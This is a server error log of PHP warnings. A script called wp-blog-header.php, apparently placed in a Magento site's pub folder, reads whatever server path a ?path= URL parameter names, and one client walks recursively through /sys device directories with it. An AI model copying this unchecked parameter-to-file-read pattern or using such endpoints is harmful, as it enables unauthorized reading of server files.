[Thu Mar 26 11:30:00.444834 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:30:02.642399 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:30:07.039321 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ee
[Thu Mar 26 11:30:11.312410 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ee
[Thu Mar 26 11:30:11.859544 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:fa
[Thu Mar 26 11:30:12.372700 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:fa
[Thu Mar 26 11:30:15.071710 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ae
[Thu Mar 26 11:30:18.185052 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/drivers/ac
[Thu Mar 26 11:30:24.028832 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:bc
[Thu Mar 26 11:30:26.182094 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:be
[Thu Mar 26 11:30:26.686568 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:bc
[Thu Mar 26 11:30:29.262582 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:30:30.901736 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:30:31.367500 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ac
[Thu Mar 26 11:30:32.027878 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ac
[Thu Mar 26 11:30:37.450231 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:30:41.061223 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac
[Thu Mar 26 11:30:42.935236 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:30:43.351789 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:30:47.748578 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ac
[Thu Mar 26 11:30:49.836818 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/drivers/ac
[Thu Mar 26 11:30:52.984847 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:cc
[Thu Mar 26 11:30:58.399148 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ca
[Thu Mar 26 11:31:01.650652 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:bc
[Thu Mar 26 11:31:02.719058 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:31:03.211778 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ae
[Thu Mar 26 11:31:04.786784 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ce
[Thu Mar 26 11:31:11.751797 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:31:12.332342 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:fc
[Thu Mar 26 11:31:12.782901 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:31:13.827328 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:31:14.408622 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:31:16.546238 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac
[Thu Mar 26 11:31:27.025352 2026] [php:warn] [pid 3107062] [client 74.7.241.26:52962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ea
[Thu Mar 26 11:31:38.398121 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:31:39.464100 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ec
[Thu Mar 26 11:31:40.471123 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:aa
[Thu Mar 26 11:31:42.071065 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:31:42.694922 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac
[Thu Mar 26 11:31:43.233320 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:31:45.857093 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ba
[Thu Mar 26 11:31:48.521581 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:31:49.054899 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:dc
[Thu Mar 26 11:31:57.511412 2026] [php:warn] [pid 3107074] [client 74.7.241.26:37330] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
